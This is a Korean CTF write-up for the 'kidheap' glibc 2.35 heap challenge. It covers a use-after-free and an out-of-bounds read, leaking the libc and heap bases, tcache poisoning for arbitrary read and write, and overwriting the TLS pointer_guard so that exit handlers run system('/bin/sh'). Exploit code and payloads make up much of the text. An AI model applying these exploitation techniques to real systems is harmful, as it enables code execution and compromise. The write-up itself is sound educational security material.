[DH] kidheap writeup
Kidheap Writeup
문제 분석
Environment
Ubuntu 22.04
Libc verion: 2.35
NX enabled
Canary found
PIE enabled
CET enabled
FULL RELRO
문제에서는 create, delete, show, edit의 기능이 있으며 uaf가 존재한다. delete 시도시 성공 유무와 관계없이 is_malloc이 토글되기 때문에 2번씩 delete를 호출하면 uaf가 발생한다. 또, oob도 존재한다.
취약점 발견은 매우 쉬우나 풀 옵션이라 exploit하기가 쉽지 않다.
Tools
UAF => AAR / AAW
Tcache의 next값을 uaf로 덮어 쓰면 aar/aaw를 획득할 수 있다.
이때 next = (Heapbase >> 12) ^ target_addr
이므로 target_addr = next ^ (Heapbase >> 12)
로 계산할 수 있다.
Heapbase
를 구하는 방법은 Leak 섹션에서 설명한다.
주의할 점은 content
는 name과 별개로 malloc 받으므로 create note를 할 때 미리 read한 값을 이용해서 content
의 next가 유효한 상태로 만들어야 한다.
def exploit_write(addr, data):
s = tcache_left.pop(0)
create_note(0, s, b"0", b"0")
create_note(1, s, b"1", b"1")
delete_note(0)
delete_note(0)
delete_note(1)
delete_note(1)
safe_content = (
show_note(1).split(b"\n")[1].replace(b"content : ", b"").ljust(8, b"\x00")
)
edit_note(1, p64(safelink(addr)), safe_content)
create_note(0, s, b"0", b"0")
create_note(1, s, data, b"0")
print(f"Exploit write: {hex(addr)} = {data.hex()}")
# 생성시 입력이 필요하므로 값을 바꾸지 않을 lastbyte가 필요
def exploit_read(addr, lastbyte=b"\00"):
s = tcache_left.pop(0)
create_note(0, s, b"0", b"0")
create_note(1, s, b"1", b"1")
delete_note(0)
delete_note(0)
delete_note(1)
delete_note(1)
safe_content = (
show_note(1).split(b"\n")[1].replace(b"content : ", b"").ljust(8, b"\x00")
)
edit_note(1, p64(safelink(addr)), safe_content)
create_note(0, s, b"0", b"0")
create_note(1, s, lastbyte, b"0")
data = show_note(1).split(b"\n")[0].replace(b"name : ", b"").ljust(8, b"\x00")
print(f"Exploit read: {hex(addr)} = {data.hex()}")
return data
Leak
Libc base
oob
oob를 이용해서 idx -4에서 stack을 leak해서 libc의 주소를 얻을 수 있다.
offset =_IO_stdfile_2_lock 을 이용해서 libc의 주소를 구하자.
unsorted bin
unsorted bin을 이용해서도 leak할 수 있다. unstorted bin의 fd는 libc의 주소를 가리키기에 아래처럼 구할 수 있다.
# Get libc leak from unsorted bin
create_note(1, 0x500, b"0", b"0")
create_note(2, 0x500, b"1", b"1")
delete_note(1)
delete_note(1)
leak = u64(
show_note(1).split(b"\n")[0].replace(b"name : ", b"").ljust(8, b"\x00")
)
print(f"Leaked note: {hex(leak)}")
libc = leak - leak_offset
print(f"Libc base: {hex(libc)}")
Heap base
tachebins
tachebin에서 처음으로 malloc후 free 된 주소는 fd(next)가 null을 가리킨다.
그리고 libc 2.32부터 소개된 safelinking에서 next = (Heapbase >> 12) ^ target_addr
로 되어있다.
즉, tcache의 첫 엔트리는 next = (Heapbase >> 12) ^ 0 = Heapbase >> 12
이 된다.
이 값은 이후 address를 safelinking할 때 사용한다.
def safelink(addr):
return addr ^ HB
# HB leak
create_note(0, 0x30, b"0", b"0")
delete_note(0)
delete_note(0)
HB = u64(
show_note(0).split(b"\n")[0].replace(b"name : ", b"").ljust(8, b"\x00")
)
print(f"Heap base secret: {hex(HB)}")
Stack base
나는 문제 풀이에 활용하지 않았으나 stack base를 leak할 수도 있다.
__environ
libc의 __environ
변수는 stack을 가리킨다.
libc base를 leak 했기에 stack까지 접근할 수 있는 것이다.
Exploit
__run_exit_handlers
Reference: glibc source code
exit()
과정은 아래와 같다.
exit(status)
호출__run_exit_handlers(status, &__exitfuncs)
호출__call_exitprocs(status, &__exitfuncs)
호출_fini()
호출__libc_fini_array()
호출
여기서 3과 5를 후크처럼 사용할 수 있다.
__exitfuncs
는 아래와 같은 구조체이다.
struct exit_funtion_list{
struct exit_funtion_list *next;
size_t idx;
struct exit_funtion fns[32];
};
그리고 exit_function
은 아래와 같이 정의되어 있다.
struct exit_function {
long int flavor;
union {
void (*at)(void);
struct {
void (*fn)(int status, void * arg);
void *arg;
} on;
struct {
void (*fn)(void * arg, int status);
void *arg1;
void *dso_handle;
} cxa;
} func;
};
flavor은 함수 유형에 대한 정의인데 우리는 arg를 사용해서 호출할 것이므로 cxa(=4)
를 사용한다.
근데 문제가 있다. libc의 중요한 함수들은 PTR_MANGLE
을 통해서 mangle되어 있다.
따라서 mangle을 해제해야한다.
그러려면 1. 알려진 주소로 mangle을 역산 2. mangle에 사용하는 값을 오버라이드 중 한 방법으로 mangle을 우회해야 한다.
아쉽게도 1의 경우 ld.so
에 있는 함수를 가리키고 있기에 추가 leak가 필요하다.
물론 가능은 하지만 너무 돌아간다.
실제로 __exitfuncs
를 디버거로 확인해보면 initial
을 가리키고 있는데 initial.exit_funtion[1].func
의 값을 PTR_DEMANGLE 해보면 ld.so
에 있는 값이라고 나온다.
따라서 2번으로 가자. 그러기 위해 mangling 과정과 TLS를 이해해야 한다.
TLS
TLS는 Thread Local Storage의 약자로, 각 스레드마다 독립적인 데이터를 저장할 수 있는 공간이다. TLS는 스레드가 생성될 때 할당되며, 각 스레드는 자신의 TLS에 접근할 수 있다. TLS는 스레드 간의 데이터 공유를 방지하고, 스레드가 독립적으로 동작할 수 있도록 한다.
TLS는 segment register인 fs
를 이용해서 접근한다.
그리고 fs
는 현재 쓰레드의 tcbhead_t
구조체를 가리킨다.
struct tcbhead_t {
void* tcb; // <--- fs포인터가 가리키는 곳
dtv_t* dtv;
void* self
int multiple_threads; int gscope_flag;
uintptr_t sysinput;
uintptr_t stack_guard; // stack canary 원본
uintptr_t pointer_guard; // mangling key!!
...
};
main의 tcb는 libc로부터 일정한 offset만큼 떨어져 있다.
PTR_MANGLE
PTR_MANGLE은 TLS의 pointer_guard를 이용해서 주소를 mangling하는 것이다. mangling 과정은 어셈블리로 표현되는데, 아래는 그 pseudo 코드이다.
def PTR_MANGLE(addr):
return rotate_shift_left(xor(add, pointer_guard), 0x11)
def PTR_MANGLE(addr):
return xor(rotate_shift_right(add, 0x11), pointer_guard)
여기서 pointer_guard
는 TLS의 tcbhead_t
구조체에서 pointer_guard
필드를 의미한다.
Back to __run_exit_handlers...
따라서 tcbhead_t
구조체의 메모리 위치를 찾고 1) pointer_guard
값을 읽거나 2) pointer_guard
값을 0으로 덮어쓰면 된다.
이를 통해서 우리는 __exitfuncs
에 넣을 함수를 직접 mangling해서 넣을 수 있다.
최종 payload는 아래와 같다.
initial_func = libc + initial_func_offset
fs = libc + fs_offset
exploit_write(fs + 0x30, p64(0)) # pointer_guard를 0으로 덮어쓰기
payload = p64(0) # __exit_funcs = &intial func
payload += p64(1) # idx
payload += p64(4) # cxa call
payload += p64(mangle(libc + 0x50D70)) # system in libc
payload += p64(initial_func + 0x30) # args로 '/bin/sh' 전달
payload += p64(0) # padding
payload += b"/bin/sh\x00" # initial_func + 0x30에 '/bin/sh' 전달
exploit_write(initial_func, payload) # write to __exit_funcs
이후 exit()
를 호출하면 __run_exit_handlers()
가 호출되고, __exit_funcs
에 있는 함수가 호출되어 쉘을 획득할 수 있다.
Note: 반대로
pointer_guard
를 target주소로 덮어쓰고func
를 null로 설정해도 된다.
FSOP
FSOP(File Stream Oriented Programming)은 파일 스트림을 이용한 공격 기법이다. libc 버전이 높아짐에 따라서 FSOP을 이용한 공격이 어려워졌지만 여전히 유효한 공격 기법이다.
해당 내용은 아직 이해가 부족해 별도의 글을 작성할 예정이다.
Libc GOT overwrite (libc <= 2.35)
For exploit higher than version 2.35, refer to n132's github
more info on libc got overwrite
주어진 file이 FULL RELRO이여서 GOT overwrite가 불가능하다. 그러나 libc의 GOT는 여전히 writable하다.
이 부분 또한 차차 공부하며 추가할 예정이다.
ROP
Stack addr이 있으니 ROP을 이용해서 쉘을 획득할 수 있는 듯 하다. 그러나 CET가 활성화되어 있는 것으로 나와 될지 안 될지는 확신을 못하지만 ROP를 활용한 풀이들이 있는 것을 보아 아마 가능한 듯 하다.
Stack base가 있는 상태에서 ROP는 어렵지 않기에 별도로 설명은 하지 않겠다.